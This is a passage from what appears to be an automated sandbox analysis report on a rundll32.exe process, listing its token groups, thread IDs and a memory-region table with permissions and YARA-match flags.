  • NT AUTHORITY\Logon Session 00000000:0000fcb0 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x AE8
0x AF4
0x AF8
0x AFC
0x B00
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x00026fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00051fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
rundll32.exe.mui 0x00060000 0x00060fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000070000 0x00070000 0x00070fff Private Memory Readable, Writable True True False
private_0x0000000000080000 0x00080000 0x00080fff Private Memory Readable, Writable True True False
pagefile_0x0000000000090000 0x00090000 0x00090fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000a0000 0x000a0000 0x000a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000000b0000 0x000b0000 0x000effff Private Memory Readable, Writable True True False
locale.nls 0x000f0000 0x00156fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000160000 0x00160000 0x00162fff Private Memory Readable, Writable, Executable True True False